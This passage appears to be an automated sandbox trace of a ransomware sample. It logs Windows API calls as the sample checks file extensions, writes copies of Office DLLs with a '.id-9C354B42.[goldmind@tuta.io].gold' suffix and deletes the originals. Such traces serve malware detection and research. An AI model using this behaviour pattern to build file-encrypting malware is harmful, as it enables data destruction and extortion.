lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0049.690] lstrlenW (lpString=".1cd") returned 4 [0049.690] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0049.690] lstrlenW (lpString=".jpg") returned 4 [0049.690] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0049.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0049.690] lstrlenW (lpString=".doc") returned 4 [0049.690] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.690] lstrlenW (lpString=".docx") returned 5 [0049.690] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.690] lstrlenW (lpString=".pdf") returned 4 [0049.690] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.690] lstrlenW (lpString=".xls") returned 4 [0049.690] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.690] lstrlenW (lpString=".xlsx") returned 5 [0049.690] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.690] lstrlenW (lpString=".ppt") returned 4 [0049.690] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0049.690] lstrlenW (lpString=".zip") returned 4 [0049.690] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.690] lstrlenW (lpString=".rar") returned 4 [0049.690] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.690] lstrlenW (lpString=".bz2") returned 4 [0049.690] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.690] lstrlenW (lpString=".7z") returned 3 [0049.690] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0049.690] lstrlenW (lpString=".dbf") returned 4 [0049.690] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0049.690] lstrlenW (lpString=".1cd") returned 4 [0049.690] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0049.690] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui") returned 71 [0049.690] lstrlenW (lpString=".jpg") returned 4 [0049.690] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0049.691] lstrcmpiW (lpString1=".mui", lpString2=".gold") returned 1 [0049.691] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0049.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0049.691] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=4096) returned 1 [0049.691] CloseHandle (hObject=0x1e4) returned 1 [0049.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0049.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0049.691] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0049.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0049.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0049.691] lstrlenW (lpString=".doc") returned 4 [0049.691] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0049.691] lstrlenW (lpString=".docx") returned 5 [0049.691] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0049.691] lstrlenW (lpString=".pdf") returned 4 [0049.691] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0049.691] lstrlenW (lpString=".xls") returned 4 [0049.691] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0049.691] lstrlenW (lpString=".xlsx") returned 5 [0049.691] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0049.691] lstrlenW (lpString=".ppt") returned 4 [0049.692] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0049.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0049.692] lstrlenW (lpString=".zip") returned 4 [0049.692] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0049.692] lstrlenW (lpString=".rar") returned 4 [0049.692] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0049.692] lstrlenW (lpString=".bz2") returned 4 [0049.692] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0049.692] lstrlenW (lpString=".7z") returned 3 [0049.692] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0049.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui") returned 72 [0049.692] lstrlenW (lpString=".dbf") returned 4 [0049.692] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0049.704] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\InkObj.dll.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0050.570] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0050.570] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0050.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0050.614] GetLastError () returned 0x0 [0050.614] ReadFile (in: hFile=0x1b0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0xd2990, lpOverlapped=0x0) returned 1 [0050.631] WriteFile (in: hFile=0x19c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xd29a0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xd29a0, lpOverlapped=0x0) returned 1 [0050.643] ReadFile (in: hFile=0x1b0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0050.643] WriteFile (in: hFile=0x19c, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.643] SetEndOfFile (hFile=0x19c) returned 1 [0050.643] CloseHandle (hObject=0x19c) returned 1 [0050.643] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0050.643] SetEndOfFile (hFile=0x1b0) returned 1 [0050.787] CloseHandle (hObject=0x1b0) returned 1 [0050.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0050.788] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\acewstr.dll")) returned 1 [0050.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0050.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0050.788] lstrlenW (lpString=".doc") returned 4 [0050.788] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.788] lstrlenW (lpString=".docx") returned 5 [0050.788] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0050.788] lstrlenW (lpString=".pdf") returned 4 [0050.788] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.788] lstrlenW (lpString=".xls") returned 4 [0050.788] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.788] lstrlenW (lpString=".xlsx") returned 5 [0050.788] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0050.788] lstrlenW (lpString=".ppt") returned 4 [0050.788] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0050.788] lstrlenW (lpString=".zip") returned 4 [0050.788] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.788] lstrlenW (lpString=".rar") returned 4 [0050.788] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.788] lstrlenW (lpString=".bz2") returned 4 [0050.788] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.788] lstrlenW (lpString=".7z") returned 3 [0050.788] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0050.788] lstrlenW (lpString=".dbf") returned 4 [0050.788] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0050.788] lstrlenW (lpString=".1cd") returned 4 [0050.788] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0050.788] lstrlenW (lpString=".jpg") returned 4 [0050.788] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0050.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0050.788] lstrlenW (lpString=".doc") returned 4 [0050.788] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0050.788] lstrlenW (lpString=".docx") returned 5 [0050.788] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0050.789] lstrlenW (lpString=".pdf") returned 4 [0050.789] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0050.789] lstrlenW (lpString=".xls") returned 4 [0050.789] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0050.789] lstrlenW (lpString=".xlsx") returned 5 [0050.789] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0050.789] lstrlenW (lpString=".ppt") returned 4 [0050.789] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0050.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0050.789] lstrlenW (lpString=".zip") returned 4 [0050.789] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0050.789] lstrlenW (lpString=".rar") returned 4 [0050.789] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0050.789] lstrlenW (lpString=".bz2") returned 4 [0050.789] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0050.789] lstrlenW (lpString=".7z") returned 3 [0050.789] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0050.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0050.789] lstrlenW (lpString=".dbf") returned 4 [0050.789] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0050.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0050.789] lstrlenW (lpString=".1cd") returned 4 [0050.789] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0050.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ACEWSTR.DLL") returned 72 [0050.789] lstrlenW (lpString=".jpg") returned 4 [0050.789] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0050.789] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0050.789] lstrlenW (lpString="ACEDAO.DLL") returned 10 [0050.789] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.789] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=744888) returned 1 [0050.790] CloseHandle (hObject=0x1b0) returned 1 [0050.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 0x20 [0050.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0050.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.790] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0050.790] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0050.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0050.790] GetLastError () returned 0x0 [0050.790] ReadFile (in: hFile=0x1b0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0xb5db8, lpOverlapped=0x0) returned 1 [0050.804] WriteFile (in: hFile=0x210, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xb5dc0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xb5dc0, lpOverlapped=0x0) returned 1 [0050.813] ReadFile (in: hFile=0x1b0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0050.813] WriteFile (in: hFile=0x210, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe8, lpOverlapped=0x0) returned 1 [0050.813] SetEndOfFile (hFile=0x210) returned 1 [0050.814] CloseHandle (hObject=0x210) returned 1 [0050.814] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0050.814] SetEndOfFile (hFile=0x1b0) returned 1 [0052.059] CloseHandle (hObject=0x1b0) returned 1 [0052.059] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.088] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acedao.dll")) returned 1 [0052.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0052.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0052.126] lstrlenW (lpString=".doc") returned 4 [0052.126] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.126] lstrlenW (lpString=".docx") returned 5 [0052.126] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0052.126] lstrlenW (lpString=".pdf") returned 4 [0052.126] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.126] lstrlenW (lpString=".xls") returned 4 [0052.126] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.126] lstrlenW (lpString=".xlsx") returned 5 [0052.126] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0052.126] lstrlenW (lpString=".ppt") returned 4 [0052.126] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0052.126] lstrlenW (lpString=".zip") returned 4 [0052.127] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.127] lstrlenW (lpString=".rar") returned 4 [0052.127] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.127] lstrlenW (lpString=".bz2") returned 4 [0052.127] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.127] lstrlenW (lpString=".7z") returned 3 [0052.127] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0052.127] lstrlenW (lpString=".dbf") returned 4 [0052.127] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0052.127] lstrlenW (lpString=".1cd") returned 4 [0052.127] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0052.127] lstrlenW (lpString=".jpg") returned 4 [0052.127] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0052.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0052.127] lstrlenW (lpString=".doc") returned 4 [0052.127] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0052.127] lstrlenW (lpString=".docx") returned 5 [0052.127] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0052.127] lstrlenW (lpString=".pdf") returned 4 [0052.127] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0052.127] lstrlenW (lpString=".xls") returned 4 [0052.127] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0052.127] lstrlenW (lpString=".xlsx") returned 5 [0052.127] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0052.127] lstrlenW (lpString=".ppt") returned 4 [0052.127] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0052.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0052.127] lstrlenW (lpString=".zip") returned 4 [0052.127] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0052.127] lstrlenW (lpString=".rar") returned 4 [0052.127] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0052.127] lstrlenW (lpString=".bz2") returned 4 [0052.127] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0052.127] lstrlenW (lpString=".7z") returned 3 [0052.127] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0052.127] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0052.127] lstrlenW (lpString=".dbf") returned 4 [0052.127] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0052.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0052.128] lstrlenW (lpString=".1cd") returned 4 [0052.128] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0052.128] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEDAO.DLL") returned 66 [0052.128] lstrlenW (lpString=".jpg") returned 4 [0052.128] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0052.128] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0052.128] lstrlenW (lpString="ACEEXCH.DLL") returned 11 [0052.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0052.128] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=442272) returned 1 [0052.128] CloseHandle (hObject=0x1b0) returned 1 [0052.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 0x20 [0052.128] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0052.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0052.129] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0052.129] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0052.129] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.129] GetLastError () returned 0x0 [0052.129] ReadFile (in: hFile=0x1b0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x6bfa0, lpOverlapped=0x0) returned 1 [0052.140] WriteFile (in: hFile=0x210, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x6bfb0, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x6bfb0, lpOverlapped=0x0) returned 1 [0052.160] ReadFile (in: hFile=0x1b0, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0052.160] WriteFile (in: hFile=0x210, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.160] SetEndOfFile (hFile=0x210) returned 1 [0052.161] CloseHandle (hObject=0x210) returned 1 [0052.161] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0052.161] SetEndOfFile (hFile=0x1b0) returned 1 [0052.164] CloseHandle (hObject=0x1b0) returned 1 [0052.164] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0052.164] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEEXCH.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\aceexch.dll")) returned 1 [0052.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 